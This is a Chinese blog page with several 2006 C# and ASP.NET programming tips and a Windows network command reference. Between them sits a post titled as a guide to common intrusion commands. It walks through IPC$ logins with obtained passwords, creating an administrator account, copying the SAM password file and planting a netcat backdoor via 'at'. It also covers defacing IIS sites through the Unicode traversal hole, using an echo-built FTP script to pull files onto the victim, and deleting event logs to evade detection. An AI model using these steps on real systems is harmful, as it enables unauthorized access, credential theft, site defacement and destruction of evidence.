漫漫技术人生路

C#

  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::
  234 随笔 :: 0 文章 :: 30 评论 :: 8 引用

公告

2006年10月2日 #

将DataGrid数据写入Excel文件。

前几天项目中有个地方需要将DataGrid的数据直接导入Excel里,以提供给用户下载,在网上找了下,好像都是与下面代码类似的实现:
程序代码:

this.EnableViewState   =   false;         
System.Globalization.CultureInfo   myCItrad   =   new   System.Globalization.CultureInfo("ZH-CN",true);
System.IO.StringWriter   oStringWriter   =   new   System.IO.StringWriter(myCItrad);   
System.Web.UI.HtmlTextWriter   oHtmlTextWriter   =   new   System.Web.UI.HtmlTextWriter(oStringWriter);
this.DataGrid1.RenderControl(oHtmlTextWriter);   
Response.Write(oStringWriter.ToString());
Response.End();

原理也就是把DataGrid的信息以流的形式写到html输出流的形式实现,自己尝试下,好像可以。我装的windowxp sp2版的,后来到同事的机器上去试,结果就出问题了,每次执行的时候,弹出那个【打开、保存、取消】的页面,再一点,结果整个站点的页面都关闭了,再到其他机器上去试,结果有的能正常下载,有的就不行,以前听说过有这么个问题,好像也没什么好的办法解决。
    后来考虑了下,何必不直接把写到html流的信息直接写到一个excel文件里面去让客户直接下载excel,于是稍微修改了下别人的源码,直接生成Excel文件来让客户下载,演示源代码如下:

WebForm4.aspx----Html部分:
程序代码:

<%@ Page language="c#" Codebehind="WebForm4.aspx.cs" AutoEventWireup="false" Inherits="WebUI.WebForm4" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
 <HEAD>
  <title>WebForm4</title>
  <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
  <meta name="CODE_LANGUAGE" Content="C#">
  <meta name="vs_defaultClientScript" content="JavaScript">
  <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
 </HEAD>
 <body MS_POSITIONING="GridLayout">
  <form id="Form1" method="post" runat="server">
   <asp:datagrid id="DataGrid1" runat="server" width="100%">
    <ItemStyle HorizontalAlign="Center"></ItemStyle>
    <HeaderStyle HorizontalAlign="Center"></HeaderStyle>
    <FooterStyle HorizontalAlign="Center"></FooterStyle>
    <PagerStyle PageButtonCount="15" Mode="NumericPages"></PagerStyle>
   </asp:datagrid>
   <asp:Button id="Button1" style="Z-INDEX: 101; LEFT: 32px; POSITION: absolute; TOP: 152px" runat="server"
    Text="Button"></asp:Button>
  </form>
 </body>
</HTML>


页面上就一个DataGrid和一个按钮,按钮用来触发将数据到Excel,后台的其他代码也就不弄上来了,下面是那个关键的按钮事件
程序代码:

private void Button1_Click(object sender, System.EventArgs e)
{
 DataTable SourceTb = new DataTable();
 DataColumn myDataColumn;

 myDataColumn   = new DataColumn();
 myDataColumn.DataType = System.Type.GetType("System.String");
 myDataColumn.ColumnName = "RowIndex";  //序  号
 SourceTb.Columns.Add(myDataColumn);

 myDataColumn   = new DataColumn();
 myDataColumn.DataType = System.Type.GetType("System.String");
 myDataColumn.ColumnName = "CheckUpManName"; //审批人
 SourceTb.Columns.Add(myDataColumn);

 myDataColumn   = new DataColumn();
 myDataColumn.DataType = System.Type.GetType("System.String");
 myDataColumn.ColumnName = "CheckUpIdeas"; //审批意见
 SourceTb.Columns.Add(myDataColumn);

 myDataColumn   = new DataColumn();
 myDataColumn.DataType = System.Type.GetType("System.String");
 myDataColumn.ColumnName = "CheckUpDate"; //审批时间
 SourceTb.Columns.Add(myDataColumn);

 myDataColumn   = new DataColumn();
 myDataColumn.DataType = System.Type.GetType("System.String");
 myDataColumn.ColumnName = "CheckUpRole"; //审批岗位
 SourceTb.Columns.Add(myDataColumn);

 myDataColumn   = new DataColumn();
 myDataColumn.DataType = System.Type.GetType("System.String");
 myDataColumn.ColumnName = "HandleType";  //操作类型(1:提交| 9:驳回)
 SourceTb.Columns.Add(myDataColumn);

 DataRow myDataRow;
 for(int i = 0;i < 30;i ++)
 {
  myDataRow     = SourceTb.NewRow();
  myDataRow["RowIndex"]  = i.ToString();
  myDataRow["CheckUpManName"] = "张三";
  myDataRow["CheckUpIdeas"] = "同意";
  myDataRow["CheckUpDate"] = "2006-03-20";
  myDataRow["CheckUpRole"] = "物资部主任";
  SourceTb.Rows.Add(myDataRow);
 }

 //绑定数据到DataGrid1
 this.DataGrid1.DataSource = SourceTb.DefaultView;
 this.DataGrid1.DataBind();
 //将DataGrid1构成的html代码写进StringWriter
 this.DataGrid1.Page.EnableViewState = false;
 System.IO.StringWriter  tw   = new System.IO.StringWriter();
 System.Web.UI.HtmlTextWriter hw  = new System.Web.UI.HtmlTextWriter(tw);
 this.DataGrid1.RenderControl(hw);
 string HtmlInfo = tw.ToString().Trim();

 string DocFileName = "审批信息.xls";
 string FilePathName = Request.PhysicalPath;
 FilePathName  = FilePathName.Substring(0,FilePathName.LastIndexOf("\\"));
 //得到Excel文件的物理地址
 FilePathName  = FilePathName +"\\" + DocFileName;
 System.IO.File.Delete(FilePathName); 
 FileStream Fs  = new FileStream(FilePathName, FileMode.Create);
 BinaryWriter BWriter= new BinaryWriter(Fs,System.Text.Encoding.GetEncoding("GB18030"));
 //将DataGrid的信息写入Excel文件
 BWriter.Write(HtmlInfo);
 BWriter.Close();
 Fs.Close();
}


好了,写入信息到Excel文件成功了,至于说生成的Excel文件在哪里,大家一看就应该知道,要下载的话,也就是很简单的<a href='Excel文件路径'>文件下载</a>咯。
posted @ 2006-10-02 18:14 javaca88 阅读(48) 评论(0) 编辑

本文利用C#和.NET提供的类来轻松创建一个抓取网页内容源代码的程序

本文利用C#和.NET提供的类来轻松创建一个抓取网页内容源代码的程序 。HTTP是WWW进行数据访问最基本的协议之一,在.NET的基本类型库类中提供了两个对象类:HTTPWebRequest和HTTPWebResponse,分别用来向某资源发送请求和获得响应。为了得到一个资源的内容,我们先指定一个想要抓取的URL地址,用HTTPWebRequest对象进行请求,用HTTPWebResponse对象接收响应的结果,最后用TextStream对象来提取我们想要的信息,并在控制台打印出来。 
下面就是看看如何实现这样的功能:

第一步:打开VS.NET,点“文件”-“新建”-“项目”,项目类型选择“Visual C#项目”,模板选“Windows应用程序”,
第二步:在Form1里加入Label1,Button1,TextBox1,TextBox2四个控件,TextBox2的Multiline属性改为True,
第三步:在Form1窗体上点击右键,选“查看代码”,然后在最顶端输入: 

using System.IO; 
using System.Net; 
using System.Text; 
在 
private void button1_Click(object sender, 
System.EventArgs e) 



的括号之间输入下面的代码: 

byte[] buf = new byte[38192]; 
HttpWebRequest request = (HttpWebRequest)
WebRequest.Create(textBox1.Text); 
HttpWebResponse response = (HttpWebResponse)
request.GetResponse(); 
Stream resStream = response.GetResponseStream(); 
int count = resStream.Read(buf, 0, buf.Length); 
textBox2.Text = Encoding.Default.GetString(buf, 0, 
count); 
resStream.Close(); 

第四步:点“Save all”按钮,按“F5”运行应用程序,在“请输入URL地址:”后面的单行文本框里输入http://lucky.myrice.com/down.htm,点击“得到 HTML 代码”按钮,就可以看到该地址的代码了!

下面,我们就对上面的程序做一个分析:

上面的这个程序的功能是抓取网页http://lucky.myrice.com/down.htm的内容,并在多行文本框里显示出HTML代码,由于返回的数据是字节类型的,因此,我们创建一个名为buf的字节类型的数组变量来存储请求返回来的结果,其中数组的大小与我们要请求返回的数据大小有关系。首先,我们实例化HttpWebRequest对象,使用WebRequest类的静态方法Create(),该方法的字符串参数就是我们要请求页面的URL地址,由于Create()方法返回的是WebRequest类型的,我们必须对它进行造型(即类型转换)成HttpWebRequest类型,再赋给request变量。一旦我们建立了HttpWebRequest对象,就可以使用它的GetResponse()方法来返回一个WebResponse对象,然后再造型成HttpWebResponse对象赋给response变量。现在,就可以使用response对象的
GetResponseStream()方法来得到响应的文本流了,最后用Stream对象的Read()方法把返回的响应信息放到我们最初创建的字节数组buf中,Read()有3个参数,分别是:要放入的字节数组,字节数组的开始位置,字节数组的长度。最后把字节转换成字符串,注意:这里采用的采用的是Default编码,它使用默认的编码方式,我们就不用再进行字符编码之间的转换了。也可以利用WebRequest和WebResponse实现以上的功能,代码如下: 

WebRequest request = WebRequest.Create(textBox1.Text); 
WebResponse response =request.GetResponse(); 

输入其它的URL看看是不是很方便!
posted @ 2006-10-02 18:12 javaca88 阅读(439) 评论(3) 编辑

javascript没有直接判断是否是数字的函数。我编程进行翻页时要判断用户输入的是否为数字,

我在网上看到这样一个判断地函数:

//数字的确定
function isDigit(theNum)
{
 var theMask = "0123456789";
    if (isEmpty(theNum)) return (false);
 else if (theMask.indexOf(theNum) == -1) return (false);
 return (true);
}
当时没有深究,用上去发现能用。现在发现其原来是不准确的,因为数字在10以内都还好,超过10就不对了。

indexof函数其实是一个找子串的函数,所以很明显上面的程序不对。网上还有使用循环来判断地,具体来说就是根据长度,一次取一个字符判断是不是数字,不过我总感觉这样太烦,效率低。下面这个可能就是简单高效了:

function isdigit(s)
{
var r,re;
re = /\d*/i; //\d表示数字,*表示匹配多个数字
r = s.match(re);
return (r==s)?1:0;
}

试试看看:

<html>
<body>
<script language=javascript>
function isdigit(s)
{
var r,re;
re = /\d*/i; //\d表示数字,*表示匹配多个数字
r = s.match(re);
return (r==s)?1:0;
}
var s1 = "123";
var s2 = "45a";
var s3 = "bcd";
var s4 = "e6"
alert("s1="+isdigit(s1)+"r2="+isdigit(s2)+"r3="+isdigit(s3)+"r4="+isdigit(s4));
</script>
</body>
</html>

看来是判断正确。挺好。

 

2006-08-04 13:56 by tkote
有直接判断的函数的 ,isNaN
posted @ 2006-10-02 18:09 javaca88 阅读(295) 评论(0) 编辑


aspx
页面中,<%= %> <%# %> 的区别

关于这个问题,在多数的ASP.NET的教材中,都提到了一些。<%= %><%# %>的区别在于:绑定时机不同,<%# %>是在控件调用DataBind函数的时候才被确定。对于<%= %>,我想你应该不会陌生,在ASP时代,它就相当于 Response.Write。在ASP.NET时代也一样。其实我想说的是,没必要太去理会教材中说的,也根本就没必要区别绑定时机。<%= %><%# %>的区别是:前者是输出,而后者是赋值!即:

    <%= "A" %> 相当于:Response.Write("A");

    <%# "A" %> 相当于:变量="A";

先来看一个例子:

<html>

<body>

<asp:Button Text=<%# "Hello, the Internet!" %> RunAt="Server" ID="testButton" />

</body>

</html>

这句话相当于赋值,把上面这个勾黑句子翻译成后台代码就是:testButton.Text="Hello, the Internet!";

第二个例子:

<html>

<body>

<%= "Hello, the Internet!" %>

<%# "Hello, the Internet!" %>

</body>

</html>

<%= "Hello, the Internet!" %> 就相当于:Response.Write("Hello, the Internet!");

那么第二个<%# %>怎么解释呢?如果按照我“赋值”的说法,它把值赋给谁了呢?

其实翻译成后台代码是这样的:(new System.Web.UI.LiteralControl()).Text="Hello, the Internet!";

一段文本,虽然它不被包含在任何开始结束标签之间,但是ASP.NET也认为它是一个控件。一个LiteralControl控件。所以,<%# %>就是把值赋给LiteralControl控件的Text属性。

posted @ 2006-10-02 18:06 javaca88 阅读(19) 评论(0) 编辑

    我们在使用Sql Server这些数据库时,可以轻松的通过Sum、Aver、Count等统计出相关结果,那么,在已经把数据检索出来的DataSet(DataTable)中呢?特别是通过Web Service获得了DataSet,这个时候,可是没有办法回头去修改Select语句来获取这些统计了。那么在DataSet/DataTable中是否可以进行统计呢?

    在MSDN中,有一篇MS推荐的统计方法,就是逐行对数据进行求和统计,这个方法,其实有等于无(或许这个方法只是针对于DataGrid求取小计用吧),因为这个方法中采用的是DataGrid的ItemDataBind事件来对数据进行累加,同我们手动写代码统计没有什么区别。

本文介绍一个简单的方法,不需要逐条记录进行计算就可以轻松的获得DataTable中的记录统计结果。这个简单的方法就是调用功能强大的DataTable的函数Compute。

一、调用说明(仅以C#为例,下同):

public object Compute(string strExpression,string strFilter)

参数:

strExpression:要计算的表达式字符串,基本上类似于Sql Server中的统计表达式

strFilter:统计的过滤字符串,只有满足这个过滤条件的记录才会被统计

二、调用举例:

    以下示例,假设一个产品销售表table,描述某商场中各促销员销售的实际记录,包含字段为:姓名(Name)、性别(Sex,0为女,1为男)、生日(Birthday)、销售产品的代码(ProID)、销售的数量(Quantity)、销售价格(Price)。

1。统计所有性别为女的销售员的数量:
table.Compute("Count(*)","Sex=0");

2。统计所有销售员中年龄大于20岁的
table.Compute("Count(*)","Birthday<'"+today);//today为今天的日期字符串

3。统计销售产品的平均价格
table.Compute("Aver(Price)","true");

4。统计产品代码为1的产品销售数量:
table.Compute("Sum(Quantity)","ProID=1");

5。统计所有产品的销售总金额:
要统计总销售金额,由于table中不存在某项产品某个促销员销售的金额数据,但我们可以通过Quantity*Price来获得。比如:
table.Compute("Sum(Quantity*Price)","true");

这里一个问题是:DataTable的统计功能没有SqlServer强,这个统计是错误的,因为Compute的统计不具备Sum(Quantity*Price)这样数据的功能。那怎么办呢?

对于这样复杂数据的统计,我们可以在DataTable中创建一个新的字段来完成,比如Amount,同时设置该字段的Expression为Quantity*Price,这样我们就可以使用统计功能了:
table.Compute("Sum(Amount)","true");

以上都是计算每一列的合计,要添加一行求合计可以使用下面的方法:

System.Data.DataRow dataRow=dataSet.Tables[0].NewRow()
'假设你的DataSet为dataSet,表在索引0位置,同时假设你的所有字段都是可以求合计的。

System.DataRow dataRow = new System.DataRow();
dataRow=DT.NewRow();

然后就是统计了:
int i ;
int fldCnt ;

fldCnt=DT.Cols.Count;

for( i=0 ;i< fldCnt-1;i++)
  dataRow(i)=DT.Compute("Sum("+i.ToString()+")","true");

DT.Rows.Add(dataRow);

好了,大功告成。希望对大家有用。

posted @ 2006-10-02 18:03 javaca88 阅读(37) 评论(0) 编辑

一般入侵所需要的几个常用命令- -

                                      

一般入侵所需要的几个常用命令:

1:NET

只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!

这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1

net use \\127.0.0.1\ipc$ "123456" /user:"hbx"

退出的命令是

net use \\127.0.0.1\ipc$ /delte

下面的*作你必须登陆后才可以用.登陆的方法就在上面.

----------------------

下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户.

我们加一个qfeng的用户密码为54321

net user qfeng 54321 /add

只要显示命令成功,那么我们可以把他加入Administrator组了.

net localgroup Administrators qfeng /add

----------------------

这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.

net use z:\\127.0.0.1\c$

----------------------

net start telnet

这样可以打开对方的TELNET服务.

----------------------

这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。

net user guest /active:yes

----------------------

这里是把一个用户的密码改掉,我们把guest的密码改为54321,其他用户也可以的。只要有权限就行了呀!

net user guest 54321

net命令果然强大啊!

2:at

一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢?

那么需要用AT命令,这里假设你已经登陆了那个服务器。

你首先要得到对方的时间,

net time \\127.0.0.1

将会返回一个时间,这里假设时间为12:1,现在需要新建一个作业,其ID=1

at \\127.0.0.1 12:3 nc.exe

这里假设了一个木马,名为NC.EXE,这个东西要在对方服务器上.

这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.

等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.

3:telnet

这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.

telnet 127.0.0.1 99

这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.

4:FTP

它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个
http://WWW.51.NET,

不错的.当我们申请完后,它会给用户名,密码,以及FTP服务器.

在上传前需要登陆先,这里我们假设FTP服务器是
http://WWW.51.NET,

用户名是qfeng,密码是654321

ftp www.51.net

他会要求输入用户,成功后会要求输入密码.

----------------------

下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\

get c:\index.htm d:\

假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下

put c:\index.htm d:\

5:copy

下面我说说怎样把本地的文件复制到对方硬盘上去,需要建立好IPC$连接才有效。

这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下

copy index.htm \\127.0.0.1\c$\index.htm

----------------------

如果你要复制到D盘下把C改为D,就行了!

copy index.htm \\127.0.0.1\d$\index.htm

----------------------

如果你要把他复制到WINNT目录里

就要把输入

copy index.htm \\127.0.0.1\admin$\index.htm

admin$是winnt

----------------------

要把对方的文件复制过来,顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名

下面就把127.0.0.1的数据库复制到本地C盘下

copy \\127.0.0.1\admin$\repair\sam._ c:\

----------------------

6:set

如果你跑进了一部机子,而且想黑他(这思想只能在特别时候才准有),当然他的80端口要开,不然你黑给谁看。这时需要用SET命令!

下面是我得到的结果!我来分析它,只是找主页在那而已。

COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP,这里本来是显示我的IP,被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主页放在的地址,只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
s cript_NAME=/s cripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT

粉红色的那行就是对方主页存放地址,这里告诉大家一个技巧,很笨的技巧啊,不过只能用这个方法才能100%的找到主页的名称,当你DIR这个目录时,一定会看到很多文件,你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名,这样只要看到和XX.XX.XX.XX看到的也面一模一样,那么这就是主页的名称了。

7:nbtstat

如果你扫到一部NT的机子,他的136到139其中一个端口开了的话,就要用这个命令得到用户了。顺便告诉大家这是netbios,得到用户名后就可以猜猜密码了。例如比较简单的密码,密码和用户名一样的,都试下,不行就暴力破解吧!

现在网上很多NT的机子都开了这些端口的,你可以练习下,我们来分析得到的结果。

命令是

nbtstat -A XX.XX.XX.XX

-A一定要大写哦。

下面是得到的结果。

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP


粉红色的就是登陆过这部系统的用户,可能你不知道怎么看,大家是不是看到了一窜数字,只要这窜数字是<03>的话,那他前面的就是用户。

这里的用户是PENTIUMII。

8:Shutdown

关了对方的NT服务器的命令

Shutdown \\IP地址 t:20

20秒后将NT自动关闭,三思后才能运行这个命令,这样对对方造很大的损失,要做个有良心的入侵者呀。

9:DIR

这个命令没什么好讲,但是却非常重要,他是查看一目录里的所有文件、文件夹。

你可以本地试下。

10:echo

著名的漏洞Unicode,这个命令可以简单的黑一下有这个漏洞的主机。

我们假设我们要把“南京大屠杀铁证如山,任何日本人不得抵赖!”写入index.htm,有2种方法,大家看看有什么区别。

echo 南京大屠杀铁证如山,任何日本人不得抵赖!>index.htm

echo 南京大屠杀铁证如山,任何日本人不得抵赖!>>index.htm

第一个的意思是覆盖index.htm原有的内容,把“南京大屠杀铁证如山,任何日本人不得抵赖!”写进index.htm。

第二个的意思是把“南京大屠杀铁证如山,任何日本人不得抵赖!”加到index.htm里面。

“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。

大家可以本地试下。

可能你会问,这样简单黑下有什么好玩的,其实他可以用来下载主页到对方的目录里。

1、首先,我们需要申请一个免费的主页空间。

2、用echo在可写目录下建立如下内容的txt文件:(以chinren服务器为例。)
open upload.chinaren.com(你的FTP服务器,申请时你的空间提供商会给你的)
cnhack(你申请时的用户名)
test(你申请时的密码)
get index.htm c:\inetpub\wwwroot\index.htm(这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm)
bye(退出FTP对话,相当在98下的DOS,用EXIT退出DOS)

具体的做法:
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最后输入 ftp -s:c:\cnhack.txt (利用ftp的-s参数,执行文件里的内容。)

等命令完成时,文件已经下载到你指定的文件里了。

注意:取得文件后,请删除cnhack.txt。(如果不删除,很容易会给别人看到你的密码。)

记得要 del c:\cnhack.txt

11:attrib

这个命令是设置文件属性的。如果你想黑一个站,而他的主页的文件属性设置了只读,那就很可怜呀,想删除他也不行,想覆盖他也不行。倒!不过有这个命令就别怕了。

attrib -r index.htm

这个命令是把index.htm的只读属性去掉。

如果把“-”改为“+”则是把这个文件的属性设置为只读

----------------------

attrib +r index.htm

这个命令是把index.htm的属性设置为只读。

12:del

当你看到这个标题可别倒下啊!现在要离开127.0.0.1了,要删除日志,当然要删除日志啦!想被捉吗。呵呵。

NT的日志有这些

del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

只要删除这些就可以了。有些系统NT安装在D盘或其他盘,就要把C改成其他盘。




 [基础]  网络经典命令行【网络高手必备】
Windows 2k/2003 Server
     1.最基本,最常用的,测试物理网络的
     ping 192.168.10.88 -t ,参数-t是等待用户去中断测试
     
     2.查看DNS、IP、Mac等
     A.Win98:winipcfg
     B.Win2000以上:Ipconfig/all
    
     C.NSLOOKUP:如查看河北的DNS
     C:\>nslookup
     Default Server: ns.hesjptt.net.cn
     Address: 202.99.160.68
     >server 202.99.41.2 则将DNS改为了41.2
     > pop.pcpop.com
     Server: ns.hesjptt.net.cn
     Address: 202.99.160.68
    
     Non-authoritative answer:
     Name: pop.pcpop.com
     Address: 202.99.160.212
    
     3.网络信使
     Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段
     net stop messenger 停止信使服务,也可以在面板-服务修改
     net start messenger 开始信使服务
    
     4.探测对方对方计算机名,所在的组、域及当前用户名
     ping -a IP -t ,只显示NetBios名
     nbtstat -a 192.168.10.146 比较全的
    
     5.netstat -a 显示出你的计算机当前所开放的所有端口
     netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等
    
     6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址
     arp -a
    
     7.在代理服务器端
     捆绑IP和MAC地址,解决局域网内盗用IP:
     ARP -s 192.168.10.59 00-50-ff-6c-08-75
     解除网卡的IP与MAC地址的绑定:
     arp -d 网卡IP
    
     8.在网络邻居上隐藏你的计算机
     net config server /hidden:yes
     net config server /hidden:no 则为开启
    
     9.几个net命令
     A.显示当前工作组服务器列表 net view,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。
     比如:查看这个IP上的共享资源,就可以
     C:\>net view 192.168.10.8
     在 192.168.10.8 的共享资源
     资源共享名 类型 用途 注释
     --------------------------------------
     网站服务 Disk
     命令成功完成。
    
     B.查看计算机上的用户帐号列表 net user
     C.查看网络链接 net use
     例如:net use z: \\192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘
    
     D.记录链接 net session
     例如:
     C:\>net session
     计算机 用户名 客户类型 打开空闲时间
     -------------------------------------------------------------------------------
     \\192.168.10.110 ROME Windows 2000 2195 0 00:03:12
    
     \\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
     命令成功完成。
    
     10.路由跟踪命令
     A.tracert pop.pcpop.com
     B.pathping pop.pcpop.com 除了显示路由外,还提供325S的分析,计算丢失包的%
    
     11.关于共享安全的几个命令
     A.查看你机器的共享资源 net share
     B.手工删除共享
     net share c$ /d
     net share d$ /d
     net share ipc$ /d
     net share admin$ /d
     注意$后有空格。
     C.增加一个共享:
     c:\net share mymovie=e:\downloads\movie /users:1
     mymovie 共享成功。
     同时限制链接用户数为1人。
    
     12.在DOS行下设置静态IP
     A.设置静态IP
     CMD
     netsh
     netsh>int
     interface>ip
     interface ip>set add "本地链接" static IP地址 mask gateway
     B.查看IP设置
     interface ip>show address
    
     Arp
     显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表,它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则 arp 命令将显示帮助信息。
    
     语法
     arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]
    
     参数
     -a [InetAddr] [-N IfaceAddr]
     显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项,请使用带有 InetAddr 参数的 arp -a,此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表,请使用 -N IfaceAddr 参数,此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。
     -g [InetAddr] [-N IfaceAddr]
     与 -a 相同。
     -d InetAddr [IfaceAddr]
     删除指定的 IP 地址项,此处的 InetAddr 代表 IP 地址。对于指定的接口,要删除表中的某项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项,请使用星号 通配符代替 InetAddr。
     -s InetAddr EtherAddr [IfaceAddr]
     向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。
     /?
     在命令提示符显示帮助。
     注释
     InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。
     物理地址 EtherAddr 由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。
     通过 -s 参数添加的项属于静态项,它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动,这些项会被删除。要创建永久的静态 ARP 缓存项,请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。
     只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
     范例
     要显示所有接口的 ARP 缓存表,可键入:
    
     arp -a
    
     对于指派的 IP 地址为 10.0.0.99 的接口,要显示其 ARP 缓存表,可键入:
    
     arp -a -N 10.0.0.99
    
     要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项,可键入:
    
     arp -s 10.0.0.80 00-AA-00-4F-2A-9C
    
     At
     计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则 at 列出已计划的命令。
    
     语法
     at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]
    
     at [\\ComputerName] hours:minutes [/interactive] [{/everyate[,...]|/nextate[,...]}] command]
    
     参数
     \\computername
     指定远程计算机。如果省略该参数,则 at 计划本地计算机上的命令和程序。
     ID
     指定指派给已计划命令的识别码。
     /delete
     取消已计划的命令。如果省略了 ID,则计算机中所有已计划的命令将被取消。
     /yes
     删除已计划的事件时,对来自系统的所有询问都回答“是”。
     hours:minutes
     指定命令运行的时间。该时间用 24 小时制(即从 00:00 [午夜] 到 23:59)的 小时: 分钟格式表示。
     /interactive
     对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。
     /every:
     在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行 command 命令。
     date
     指定运行命令的日期。可以指定一周的某日或多日(即,键入 M、T、W、Th、F、S、Su)或一个?械哪橙栈蚨嗳眨矗氪?1 到31 之间的数字)。用逗号分隔多个日期项。如果省略了 date,则 at 使用该月的当前日。
     /next:
     在下一个指定日期(比如,下一个星期四)到来时运行 command。
     command
     指定要运行的 Windows 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的通用命名协定 (UNC) 符号,而不是远程驱动器号。
     /?
     在命令提示符显示帮助。
     注释
     Schtasks 是功能更为强大的超集命令行计划工具,它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务,都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息,请参阅“相关主题”。
    
     使用 at
